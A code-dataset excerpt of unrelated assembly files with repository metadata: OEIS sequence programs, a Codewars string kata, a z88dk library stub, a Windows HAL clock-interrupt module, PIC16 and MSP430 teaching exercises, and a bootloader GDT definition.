; A141974: Primes congruent to 23 mod 28. ; 23,79,107,163,191,331,359,443,499,751,863,919,947,1031,1087,1171,1283,1367,1423,1451,1619,1759,1787,1871,2011,2039,2179,2207,2347,2459,2543,2683,2711,2767,2851,2879,2963,3019,3187,3271,3299,3467,3607,3691,3719,3803,3943,4027,4111,4139,4363,4391,4447,4643,4783,4951,5119,5147,5231,5399,5483,5623,5651,5791,5903,5987,6043,6211,6323,6379,6491,6547,6659,6827,6883,6911,6967,7079,7219,7247,7331,7499,7583,7639,7723,7919,8059,8087,8171,8311,8423,8563,8647,8731,9011,9067,9151,9319,9403,9431 mov $2,$0 add $2,1 pow $2,2 lpb $2 add $1,22 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,6 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 add $1,39 mov $0,$1
33.291667
486
0.708385
4d400dfc4092db6a9bd9c09d07c95591c320b5f2
1,047
asm
Assembly
6_kyu/Three_added_Characters.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
6_kyu/Three_added_Characters.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
6_kyu/Three_added_Characters.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
global added_char extern puts section .text ; input: rdi = s1, rsi = s2 ; output: al ; callee saved registers: rbx, rsp, rbp, r12-r15 added_char: sub rsp, 400h ; allocate 100h dword table on stack ; init character counter table xor rax, rax mov ecx, 100h/2 ; init the 100h dwords with 100h/2 qwords .init_loop: mov [rsp+rcx*8-8], rax loop .init_loop ; count characters in string s1 xchg rsi, rdi ; rsi = s1, rdi = s2 cld ; go upwards in the strings .s1_count_loop: lodsb inc dword [rsp+rax*4] test al, al jnz .s1_count_loop ; repeat until end of string ; subtract count of characters in string s2 ; a negative count indicates an added char in s2 mov rsi, rdi ; rsi = s2 .s2_count_loop: lodsb dec dword [rsp+rax*4] js .found ; counter negative: found an added char test al, al jnz .s2_count_loop ; repeat until end of string ; the rip is here: error, not found an added char .found: add rsp, 400h ret
29.083333
65
0.633238
5b58151d271894c2c012ef191ba5501da3b6304b
172
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strerror.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strerror.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strerror.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; char *strerror(int errnum) SECTION code_string PUBLIC _strerror EXTERN asm_strerror _strerror: pop af pop hl push hl push af jp asm_strerror
9.052632
28
0.680233
89e39fa6a28fc4f1dcc7c6595bff087a39c349ed
758
asm
Assembly
oeis/052/A052469.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/052/A052469.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/052/A052469.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A052469: Denominators in the Taylor series for arccosh(x) - log(2*x). ; Submitted by Jon Maiga ; 4,32,96,1024,2560,4096,28672,524288,1179648,5242880,11534336,100663296,218103808,939524096,134217728,68719476736,146028888064,206158430208,1305670057984,2199023255552,7696581394432,96757023244288,202310139510784,1125899906842624,7036874417766400,29273397577908224,60798594969501696,72057594037927936,1044835113549955072,4323455642275676160,8935141660703064064,590295810358705651712,405828369621610135552,5017514388048998039552,1475739525896764129280,85002596691653613846528,174727559866176872906752 mul $0,2 mov $1,4 mov $3,1 lpb $0 mov $2,$0 sub $2,1 div $2,2 mul $3,$0 sub $0,1 mul $1,2 add $2,2 mul $1,$2 lpe gcd $3,$1 div $1,$3 mov $0,$1
36.095238
500
0.804749
f8778420a3ecf08d2eb2b31bafbd19989a596e34
20,575
asm
Assembly
base/hals/halacpi/i386/ixclock.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/hals/halacpi/i386/ixclock.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/hals/halacpi/i386/ixclock.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
title "Interval Clock Interrupt" ;++ ; ; Copyright (c) 1989 Microsoft Corporation ; ; Module Name: ; ; ixclock.asm ; ; Abstract: ; ; This module implements the code necessary to field and process the ; interval clock interrupt. ; ; Author: ; ; Shie-Lin Tzong (shielint) 12-Jan-1990 ; ; Environment: ; ; Kernel mode only. ; ; Revision History: ; ; bryanwi 20-Sep-90 ; ; Add KiSetProfileInterval, KiStartProfileInterrupt, ; KiStopProfileInterrupt procedures. ; KiProfileInterrupt ISR. ; KiProfileList, KiProfileLock are delcared here. ; ; shielint 10-Dec-90 ; Add performance counter support. ; Move system clock to irq8, ie we now use RTC to generate system ; clock. Performance count and Profile use timer 1 counter 0. ; The interval of the irq0 interrupt can be changed by ; KiSetProfileInterval. Performance counter does not care about the ; interval of the interrupt as long as it knows the rollover count. ; Note: Currently I implemented 1 performance counter for the whole ; i386 NT. ; ; John Vert (jvert) 11-Jul-1991 ; Moved from ke\i386 to hal\i386. Removed non-HAL stuff ; ; shie-lin tzong (shielint) 13-March-92 ; Move System clock back to irq0 and use RTC (irq8) to generate ; profile interrupt. Performance counter and system clock use time1 ; counter 0 of 8254. ; ; Landy Wang (corollary!landy) 04-Dec-92 ; Move much code into separate modules for easy inclusion by various ; HAL builds. ; ;-- .386p .xlist include hal386.inc include callconv.inc ; calling convention macros include i386\ix8259.inc include i386\kimacro.inc include mac386.inc include i386\ixcmos.inc .list EXTRNP _KeUpdateSystemTime,0 EXTRNP Kei386EoiHelper,0,IMPORT EXTRNP _KeSetTimeIncrement,2,IMPORT EXTRNP _HalEndSystemInterrupt,2 EXTRNP _HalBeginSystemInterrupt,3 EXTRNP _HalpReleaseCmosSpinLock ,0 EXTRNP _HalpMcaQueueDpc, 0 EXTRNP _HalpBrokenPiix4TimerTick, 0 extrn _HalpBrokenAcpiTimer:byte extrn _QueryTimer:DWORD extrn _KdEnteredDebugger:DWORD extrn _HalpTimerWatchdogEnabled:DWORD extrn _HalpTimerWatchdogStorage:DWORD extrn _HalpTimerWatchdogCurFrame:DWORD extrn _HalpTimerWatchdogLastFrame:DWORD extrn _HalpTimerWatchdogStorageOverflow:DWORD ; ; Constants used to initialize timer 0 ; TIMER1_DATA_PORT0 EQU 40H ; Timer1, channel 0 data port TIMER1_CONTROL_PORT0 EQU 43H ; Timer1, channel 0 control port TIMER2_DATA_PORT0 EQU 48H ; Timer1, channel 0 data port TIMER2_CONTROL_PORT0 EQU 4BH ; Timer1, channel 0 control port TIMER1_IRQ EQU 0 ; Irq 0 for timer1 interrupt COMMAND_8254_COUNTER0 EQU 00H ; Select count 0 COMMAND_8254_RW_16BIT EQU 30H ; Read/Write LSB firt then MSB COMMAND_8254_MODE2 EQU 4 ; Use mode 2 COMMAND_8254_BCD EQU 0 ; Binary count down COMMAND_8254_LATCH_READ EQU 0 ; Latch read command PERFORMANCE_FREQUENCY EQU 1193182 COUNTER_TICKS_AVG_SHIFT EQU 4 COUNTER_TICKS_FOR_AVG EQU 16 PAGE_SIZE EQU 1000H FRAME_COPY_SIZE EQU 64 ; ; ==== Values used for System Clock ==== ; _DATA SEGMENT DWORD PUBLIC 'DATA' ; ; The following array stores the per microsecond loop count for each ; central processor. ; ; ; 8254 performance counter. ; public HalpCurrentRollOver, HalpCurrentTimeIncrement, _HalpCurrentMSRateTableIndex HalpCurrentRollOver dd 0 HalpCurrentTimeIncrement dd 0 _HalpCurrentMSRateTableIndex dd 0 public _HalpClockWork, _HalpClockSetMSRate, _HalpClockMcaQueueDpc _HalpClockWork label dword _HalpClockSetMSRate db 0 _HalpClockMcaQueueDpc db 0 _bReserved1 db 0 _bReserved2 db 0 ; ; timer latency watchdog variables ; public _HalpWatchdogAvgCounter, _HalpWatchdogCountLow, _HalpWatchdogCountHigh public _HalpWatchdogTscLow, _HalpWatchdogTscHigh _HalpWatchdogAvgCounter dd 0 _HalpWatchdogCountLow dd 0 _HalpWatchdogCountHigh dd 0 _HalpWatchdogTscLow dd 0 _HalpWatchdogTscHigh dd 0 _DATA ends _TEXT SEGMENT DWORD PUBLIC 'DATA' ; ; Convert the interval to rollover count for 8254 Timer1 device. ; Timer1 counts down a 16 bit value at a rate of 1.193181667M counts-per-sec. ; (The main crystal freq is 14.31818, and this is a divide by 12) ; ; The best fit value closest to 10ms is 10.0144012689ms: ; ROLLOVER_COUNT 11949 ; TIME_INCREMENT 100144 ; Calculated error is -.0109472 s/day ; ; ; The following table contains 8254 values timer values to use at ; any given ms setting from 1ms - 15ms. All values work out to the ; same error per day (-.0109472 s/day). ; public HalpRollOverTable ; RollOver Time ; Count Increment MS HalpRollOverTable dd 1197, 10032 ; 1 ms dd 2394, 20064 ; 2 ms dd 3591, 30096 ; 3 ms dd 4767, 39952 ; 4 ms dd 5964, 49984 ; 5 ms dd 7161, 60016 ; 6 ms dd 8358, 70048 ; 7 ms dd 9555, 80080 ; 8 ms dd 10731, 89936 ; 9 ms dd 11949, 100144 ; 10 ms dd 13125, 110000 ; 11 ms dd 14322, 120032 ; 12 ms dd 15519, 130064 ; 13 ms dd 16695, 139920 ; 14 ms dd 17892, 149952 ; 15 ms TimeIncr equ 4 RollOver equ 0 _TEXT ends _DATA SEGMENT DWORD PUBLIC 'DATA' public HalpLargestClockMS, _HalpNextMSRate, HalpPendingMSRate HalpLargestClockMS dd 15 ; Table goes to 15MS _HalpNextMSRate dd 14 HalpPendingMSRate dd 0 extrn _TimerInfo:DWORD BiasLow equ 20 BiasHigh equ 24 _DATA ends PAGELK SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING page ,132 subttl "Initialize Clock" ;++ ; ; VOID ; HalpInitializeClock ( ; ) ; ; Routine Description: ; ; This routine initialize system time clock using 8254 timer1 counter 0 ; to generate an interrupt at every 15ms interval at 8259 irq0. ; ; See the definitions of TIME_INCREMENT and ROLLOVER_COUNT if clock rate ; needs to be changed. ; ; Arguments: ; ; None ; ; Return Value: ; ; None. ; ;-- cPublicProc _HalpInitializeClock ,0 mov eax, PCR[PcPrcb] cmp byte ptr [eax].PbCpuType, 4 ; 486 or better? jc short @f ; no, skip mov HalpLargestClockMS, 10 ; Limit 486's to 10MS mov _HalpNextMSRate, 9 @@: mov eax, HalpLargestClockMS mov _HalpCurrentMSRateTableIndex, eax dec _HalpCurrentMSRateTableIndex mov ecx, HalpRollOverTable.TimeIncr mov edx, HalpRollOverTable[eax*8-8].TimeIncr mov eax, HalpRollOverTable[eax*8-8].RollOver mov HalpCurrentTimeIncrement, edx ; ; (ecx) = Min time_incr ; (edx) = Max time_incr ; (eax) = max roll over count ; push eax stdCall _KeSetTimeIncrement, <edx, ecx> pop ecx ; ; timer latency watchdog initialization ; cmp _HalpTimerWatchdogEnabled, 0 jz short @f .586p rdtsc .386p mov _HalpWatchdogAvgCounter, COUNTER_TICKS_FOR_AVG mov _HalpWatchdogTscLow, eax mov _HalpWatchdogTscHigh, edx xor eax, eax mov _HalpWatchdogCountLow, eax mov _HalpWatchdogCountHigh, eax @@: pushfd ; save caller's eflag cli ; make sure interrupts are disabled ; ; Set clock rate ; (ecx) = RollOverCount ; mov al,COMMAND_8254_COUNTER0+COMMAND_8254_RW_16BIT+COMMAND_8254_MODE2 out TIMER1_CONTROL_PORT0, al ;program count mode of timer 0 IoDelay mov al, cl out TIMER1_DATA_PORT0, al ; program timer 0 LSB count IoDelay mov al,ch out TIMER1_DATA_PORT0, al ; program timer 0 MSB count popfd ; restore caller's eflag mov HalpCurrentRollOver, ecx ; Set RollOverCount & initialized stdRET _HalpInitializeClock stdENDP _HalpInitializeClock PAGELK ends _TEXT$03 SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING page ,132 subttl "System Clock Interrupt" ;++ ; ; Routine Description: ; ; This routine is entered as the result of an interrupt generated by CLOCK. ; Its function is to dismiss the interrupt, raise system Irql to ; CLOCK2_LEVEL, update performance counter and transfer control to the ; standard system routine to update the system time and the execution ; time of the current thread ; and process. ; ; Arguments: ; ; None ; Interrupt is disabled ; ; Return Value: ; ; Does not return, jumps directly to KeUpdateSystemTime, which returns ; ; Sets Irql = CLOCK2_LEVEL and dismisses the interrupt ; ;-- ENTER_DR_ASSIST Hci_a, Hci_t cPublicProc _HalpClockInterrupt ,0 ; ; Save machine state in trap frame ; ENTER_INTERRUPT Hci_a, Hci_t ; ; (esp) - base of trap frame ; ifdef MCA ; ; Special hack for MCA machines ; in al, 61h jmp $+2 or al, 80h out 61h, al jmp $+2 endif ; MCA ; ; Dismiss interrupt and raise irq level to clock2 level ; Hci10: push CLOCK_VECTOR sub esp, 4 ; allocate space to save OldIrql stdCall _HalBeginSystemInterrupt, <CLOCK2_LEVEL, CLOCK_VECTOR, esp> or al,al ; check for spurious interrupt jz Hci100 ; ; Check to see if we need to fix up a broken PIIX4 ; .if (_HalpBrokenAcpiTimer) stdCall _HalpBrokenPiix4TimerTick .endif ; ; Timer latency watchdog ; cmp _HalpTimerWatchdogEnabled, 0 jz Hci14 .586p rdtsc .386p ; ; Compare difference to watchdog count, while storing a copy of the ; current counter. ; xor ebx, ebx push eax push edx sub eax, _HalpWatchdogTscLow sbb edx, _HalpWatchdogTscHigh pop _HalpWatchdogTscHigh pop _HalpWatchdogTscLow js Hci115 ; Was this a bogus counter? ; (e.g, negative delta) push eax mov ecx, dword ptr _KdEnteredDebugger xor eax, eax xchg eax, [ecx] or al, al pop eax jnz Hci14 cmp HalpPendingMSRate, ebx ; Was a new rate set during last jnz Hci14 ; tick? Yes, skip this compare ; ; If we need to compute the average of the time-stamp counter for ; the current period, add the delta to the counter. ; cmp _HalpWatchdogAvgCounter, ebx jnz Hci12 cmp edx, _HalpWatchdogCountHigh ja short Hci11 jb Hci14 cmp eax, _HalpWatchdogCountLow jbe Hci14 Hci11: cmp dword ptr [_HalpTimerWatchdogStorageOverflow], 0 jne short Hci115 ; ; copy FRAME_COPY_SIZE dwords from the stack, or to next page boundary, ; whichever is less ; push esi push edi lea esi, [esp + 8] lea ecx, [esi + PAGE_SIZE - 1] and ecx, NOT(PAGE_SIZE - 1) sub ecx, esi shr ecx, 2 cmp ecx, FRAME_COPY_SIZE jbe short Hci111 mov ecx, FRAME_COPY_SIZE Hci111: mov edi, dword ptr _HalpTimerWatchdogCurFrame rep movsd add dword ptr _HalpTimerWatchdogCurFrame, (FRAME_COPY_SIZE*4) ; ; If we didn't copy an entire FRAME_COPY_SIZE dwords, zero fill. ; mov ecx, dword ptr _HalpTimerWatchdogCurFrame sub ecx, edi shr ecx, 2 xor eax, eax rep stosd cmp edi, dword ptr _HalpTimerWatchdogLastFrame jbe short Hci112 mov dword ptr [_HalpTimerWatchdogStorageOverflow], 1 Hci112: pop edi pop esi Hci115: ; ; reset last time so that we're accurate after the trap ; .586p rdtsc .386p mov _HalpWatchdogTscHigh, edx mov _HalpWatchdogTscLow, eax jmp short Hci14 Hci12: ; ; Increment the total counter, perform average when the count is reached ; add _HalpWatchdogCountLow, eax adc _HalpWatchdogCountHigh, edx dec _HalpWatchdogAvgCounter jnz short Hci14 mov edx, _HalpWatchdogCountHigh mov eax, _HalpWatchdogCountLow ; ; compute the average * 2, this measures when we have missed ; an interrupt at this rate. ; mov ecx, COUNTER_TICKS_AVG_SHIFT - 1 Hci13: shr edx, 1 rcr eax, 1 loop short Hci13 mov _HalpWatchdogCountLow, eax mov _HalpWatchdogCountHigh, edx Hci14: ; ; Check for any more work ; mov eax, HalpCurrentTimeIncrement xor ebx, ebx cmp _HalpClockWork, ebx ; Any clock interrupt work desired? jz _KeUpdateSystemTime@0 ; No, process tick cmp _HalpClockMcaQueueDpc, bl je short Hci20 mov _HalpClockMcaQueueDpc, bl ; ; Queue MCA Dpc ; push eax stdCall _HalpMcaQueueDpc ; Queue MCA Dpc pop eax Hci20: ; ; (esp) = OldIrql ; (esp+4) = Vector ; (esp+8) = base of trap frame ; ebp = trap frame ; eax = time increment ; ebx = 0 ; cmp _HalpClockSetMSRate, bl ; New clock rate desired? jz _KeUpdateSystemTime@0 ; No, process tick ; ; Time of clock frequency is being changed. See if the 8254 was ; was reprogrammed for a new rate during last tick ; cmp HalpPendingMSRate, ebx ; Was a new rate set durning last jnz short Hci50 ; tick? Yes, go update globals Hci40: ; (eax) = time increment for current tick ; ; A new clock rate needs to be set. Setting the rate here will ; cause the tick after the next tick to be at the new rate. ; (the next tick is already in progress by the 8254 and will occur ; at the same rate as this tick) ; mov ebx, _HalpNextMSRate mov HalpPendingMSRate, ebx ; pending rate mov ecx, HalpRollOverTable[ebx*8-8].RollOver ; ; Set clock rate ; (ecx) = RollOverCount ; push eax ; save current tick's rate mov al,COMMAND_8254_COUNTER0+COMMAND_8254_RW_16BIT+COMMAND_8254_MODE2 out TIMER1_CONTROL_PORT0, al ;program count mode of timer 0 IoDelay mov al, cl out TIMER1_DATA_PORT0, al ; program timer 0 LSB count IoDelay mov al,ch out TIMER1_DATA_PORT0, al ; program timer 0 MSB count pop eax ; ; (esp) = OldIrql ; (esp+4) = Vector ; (esp+8) = base of trap frame ; ebp = trap frame ; eax = time increment ; jmp _KeUpdateSystemTime@0 ; dispatch this tick Hci50: ; ; The next tick will occur at the rate which was programmed during the last ; tick. Update globals for new rate which starts with the next tick. ; ; (eax) = time increment for current tick ; mov ebx, HalpPendingMSRate mov _HalpCurrentMSRateTableIndex, ebx dec _HalpCurrentMSRateTableIndex mov ecx, HalpRollOverTable[ebx*8-8].RollOver mov edx, HalpRollOverTable[ebx*8-8].TimeIncr mov HalpCurrentRollOver, ecx mov HalpCurrentTimeIncrement, edx ; next tick rate mov HalpPendingMSRate, 0 ; no longer pending, clear it cmp _HalpTimerWatchdogEnabled, 0 jz short @f ; ; Schedule to recalibrate watchdog counter ; push eax .586p rdtsc .386p mov _HalpWatchdogAvgCounter, COUNTER_TICKS_FOR_AVG mov _HalpWatchdogTscLow, eax mov _HalpWatchdogTscHigh, edx xor eax,eax mov _HalpWatchdogCountHigh, eax mov _HalpWatchdogCountLow, eax pop eax @@: cmp ebx, _HalpNextMSRate ; new rate == NextRate? jne Hci40 ; no, go set new pending rate mov _HalpClockSetMSRate, 0 ; all done setting new rate jmp _KeUpdateSystemTime@0 ; dispatch this tick Hci100: add esp, 8 ; spurious, no EndOfInterrupt SPURIOUS_INTERRUPT_EXIT ; exit interrupt without eoi stdENDP _HalpClockInterrupt ;++ ; ; ULONG ; HalpAcpiTimerSetTimeIncrement ( ; IN ULONG DesiredIncrement ; ) ; ; /*++ ; ; Routine Description: ; ; This routine initialize system time clock to generate an ; interrupt at every DesiredIncrement interval. ; ; Arguments: ; ; DesiredIncrement - desired interval between every timer tick (in ; 100ns unit.) ; ; Return Value: ; ; The *REAL* time increment set. ;-- cPublicProc _HalpAcpiTimerSetTimeIncrement,1 mov eax, [esp+4] ; desired setting xor edx, edx mov ecx, 9990 div ecx ; round to MS cmp eax, HalpLargestClockMS ; MS > max? jc short @f mov eax, HalpLargestClockMS ; yes, use max @@: or eax, eax ; MS < min? jnz short @f inc eax ; yes, use min @@: mov _HalpNextMSRate, eax mov _HalpClockSetMSRate, 1 ; New clock rate desired. mov eax, HalpRollOverTable[eax*8-8].TimeIncr stdRET _HalpAcpiTimerSetTimeIncrement stdENDP _HalpAcpiTimerSetTimeIncrement page ,132 subttl "Query 8254 Counter" ;++ ; ; ULONG ; HalpQuery8254Counter( ; VOID ; ) ; ; Routine Description: ; ; This routine returns the current value of the 8254 counter ; ; Arguments: ; ; None ; ; Return Value: ; ; Current value of the 8254 counter is returned ; ;-- cPublicProc _HalpQuery8254Counter, 0 pushfd cli ; ; Fetch the current counter value from the hardware ; mov al, COMMAND_8254_LATCH_READ + COMMAND_8254_COUNTER0 ; Latch PIT Ctr 0 command. out TIMER1_CONTROL_PORT0, al IODelay in al, TIMER1_DATA_PORT0 ; Read PIT Ctr 0, LSByte. IODelay movzx ecx, al ; Zero upper bytes of (ECX). in al, TIMER1_DATA_PORT0 ; Read PIT Ctr 0, MSByte. mov ch, al ; (CX) = PIT Ctr 0 count. mov eax, ecx popfd ; restore interrupt flag stdRET _HalpQuery8254Counter stdENDP _HalpQuery8254Counter _TEXT$03 ends end
27.396804
91
0.573123
a6291d7e165efb772f058e53a31dcc2bed0dd658
678
asm
Assembly
oeis/041/A041487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041487: Denominators of continued fraction convergents to sqrt(260). ; Submitted by Jon Maiga ; 1,8,257,2064,66305,532504,17106433,137383968,4413393409,35444531240,1138638393089,9144551675952,293764292023553,2359258887864376,75790048703683585,608679648517333056,19553538801258341377,157036990058584064072,5044737220675948391681,40514934755466171197520,1301522649395593426712321,10452696129920213584896088,335787798806842428143387137,2696755086584659638731993184,86631950569515950867567169025,695752359642712266579269345384,22350707459136308481404186221313,179501412032733180117812759115888 seq $0,41113 ; Denominators of continued fraction convergents to sqrt(65). dif $0,2
96.857143
495
0.89528
2d6b3b27d02fb05fa155beec8fe4cc7c3d48ff63
598
asm
Assembly
.github/gdt.asm
Amankhan-ally/theunbelievables
37be1eae39b21f25aac0a3254d172e1263344c49
[ "Apache-2.0" ]
null
null
null
.github/gdt.asm
Amankhan-ally/theunbelievables
37be1eae39b21f25aac0a3254d172e1263344c49
[ "Apache-2.0" ]
null
null
null
.github/gdt.asm
Amankhan-ally/theunbelievables
37be1eae39b21f25aac0a3254d172e1263344c49
[ "Apache-2.0" ]
null
null
null
gdt_nulldesc: dd 0 dd 0 gdt_codedesc: dw 0xFFFF dw 0x0000 db 0x00 db 10011010b db 11001111b db 0x00 gdt_datadesc: dw 0xFFFF dw 0x0000 db 0x00 db 10010010b db 11001111b db 0x00 gdt_end: gdt_descriptor: gdt_size: dw gdt_end - gdt_nulldesc - 1 dq gdt_nulldesc codeseg equ gdt_codedesc - gdt_nulldesc dataseg equ gdt_datadesc - gdt_nulldesc [BITS 32] EditGDT: mov[gdt_codedesc + 6],byte 10101111b mov[gdt_datadesc + 6],byte 10101111b ret [BITS 16]
16.162162
41
0.593645
0c6246b5ef123f3cefa4c45728423e0e1fa083b5
445
a51
Assembly
Practical Exam/P15.a51
pronoym99/Microcontrollers-and-Applications
b96fbef72ef66999502d32cc7a0cb84bbe8214ed
[ "Unlicense" ]
1
2018-10-28T21:11:08.000Z
2018-10-28T21:11:08.000Z
Practical Exam/P15.a51
pronoym99/Microcontrollers-and-Applications
b96fbef72ef66999502d32cc7a0cb84bbe8214ed
[ "Unlicense" ]
null
null
null
Practical Exam/P15.a51
pronoym99/Microcontrollers-and-Applications
b96fbef72ef66999502d32cc7a0cb84bbe8214ed
[ "Unlicense" ]
null
null
null
org 0000h mov p2,#00h ;configure as input clr p1.0 ;initially LED is ON wait_for_press:jnb p2.0,act ;if sw is not pressed switch OFF LED clr p1.0 ;switch ON the LED sjmp wait_for_press ;wait for another press act:setb p1.0 ;LED switched OFF sjmp wait_for_press ;wait for another press end
44.5
77
0.507865
1a1040d6c6892814b741c90ec24684546533ee9a
488
asm
Assembly
data/events/magikarp_lengths.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
data/events/magikarp_lengths.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
data/events/magikarp_lengths.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
MagikarpLengths: ; [wMagikarpLength] = z * 100 + (bc - x) / y ; First argument is the bc threshold as well as x. ; Second argument is y. ; In reality, due to the bug at .BCLessThanDE, ; the threshold is determined by only register b. dwb 110, 1 ; not used unless the bug is fixed dwb 310, 2 dwb 710, 4 dwb 2710, 20 dwb 7710, 50 dwb 17710, 100 dwb 32710, 150 dwb 47710, 150 dwb 57710, 100 dwb 62710, 50 dwb 64710, 20 dwb 65210, 5 dwb 65410, 2 dwb 65510, 1 ; not used
23.238095
50
0.67418
c95d9a80c7d408200399ca2f824b7ee0bf04902d
573
asm
Assembly
Microcontroller_Lab/Lab_10/Check_Code.asm
MuhammadAlBarham/pic16f778_projects
c12e15e48a62cd16f869cbe9411728a4eea8f499
[ "MIT" ]
null
null
null
Microcontroller_Lab/Lab_10/Check_Code.asm
MuhammadAlBarham/pic16f778_projects
c12e15e48a62cd16f869cbe9411728a4eea8f499
[ "MIT" ]
null
null
null
Microcontroller_Lab/Lab_10/Check_Code.asm
MuhammadAlBarham/pic16f778_projects
c12e15e48a62cd16f869cbe9411728a4eea8f499
[ "MIT" ]
null
null
null
include "p16f877A.inc" ;User-defined variables cblock 0x20 WTemp ; Must be reserved in all banks D_val A_val endc org 0x00 nop call D_A_Convert goto finish D_A_Convert movf D_val,0 sublw D'25' btfsc STATUS,C retlw D'0' movf D_val,0 sublw D'76' btfsc STATUS,C retlw D'1' movf D_val,0 sublw D'127' btfsc STATUS,C retlw D'2' movf D_val,0 sublw D'178' btfsc STATUS,C retlw D'3' movf D_val,0 sublw D'229' btfsc STATUS,C retlw D'4' movf D_val,0 sublw D'255' btfsc STATUS,C retlw D'5' retlw D'0' finish nop nop end
10.052632
41
0.671902
5b860aa11b57189b4f552b1925b36e65ac613d9f
3,061
asm
Assembly
source/lessons/lsn6/ccs.asm
MarsUniversity/ECE382
83d20fe5879567e09a1783a0027db6051f22f757
[ "MIT" ]
null
null
null
source/lessons/lsn6/ccs.asm
MarsUniversity/ECE382
83d20fe5879567e09a1783a0027db6051f22f757
[ "MIT" ]
3
2017-12-24T23:20:03.000Z
2018-12-05T15:36:27.000Z
source/lessons/lsn6/ccs.asm
MarsUniversity/ece382
83d20fe5879567e09a1783a0027db6051f22f757
[ "MIT" ]
null
null
null
;------------------------------------------------------------------------------- ; Lesson 7 ; Capt Jeff Falkinburg, USAF / 25 Aug 2016 / ; ; This program shows the solution the the Lesson 7 Miniquiz and ; writes your name 6 times in RAM ;------------------------------------------------------------------------------- .cdecls C,LIST,"msp430.h" ; Include device header file ;------------------------------------------------------------------------------- .def RESET ; Export program entry-point to ; make it known to linker. ;------------------------------------------------------------------------------- .text ; Assemble into program memory. myName: .string "Jeff Falkinburg!" NumNames: .equ 0x0006 NumWords: .equ 0x0008 MemLoc: .equ 0x0200 .retain ; Override ELF conditional linking ; and retain current section. .retainrefs ; And retain any sections that have ; references to current section. ;------------------------------------------------------------------------------- RESET mov.w #__STACK_END,SP ; Initialize stackpointer StopWDT mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer ;------------------------------------------------------------------------------- ; Main loop here ;------------------------------------------------------------------------------- ; ; | V | N | Z | C | ; |---|---|---|---| mov.w #0x7fff, r5 ; | - | - | - | - | add.w #1, r5 ; | 1 | 1 | 0 | 0 | mov.b #0x80, r6 ; | - | - | - | - | add.b #0x80, r6 ; | 1 | 0 | 1 | 1 | mov.b #0x7f, r7 ; | - | - | - | - | sub.b #0x80, r7 ; | 1 | 1 | 0 | 0 | xor.w r3, r7 ; | 0 | 0 | 0 | 1 | ; Logical instructions set C to the opposite of Z - i.e. C is set if the result is NOT 0. main: mov #NumNames, r4 ; Initializes registers mov #MemLoc, r6 NextName: mov #myName, r5 ; Set up registers to write name again mov #NumWords, r7 WriteName: mov @r5, 0(r6) ; Write word to memory incd r6 ; Increment RAM destination memory incd r5 ; Increment name (ROM) memory dec r7 ; Decrement counter for number of words jnz WriteName ; Keep writing until the end of name dec r4 jnz NextName forever: jmp forever ;------------------------------------------------------------------------------- ; Stack Pointer definition ;------------------------------------------------------------------------------- .global __STACK_END .sect .stack ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".reset" ; MSP430 RESET Vector .short RESET
46.378788
89
0.36034
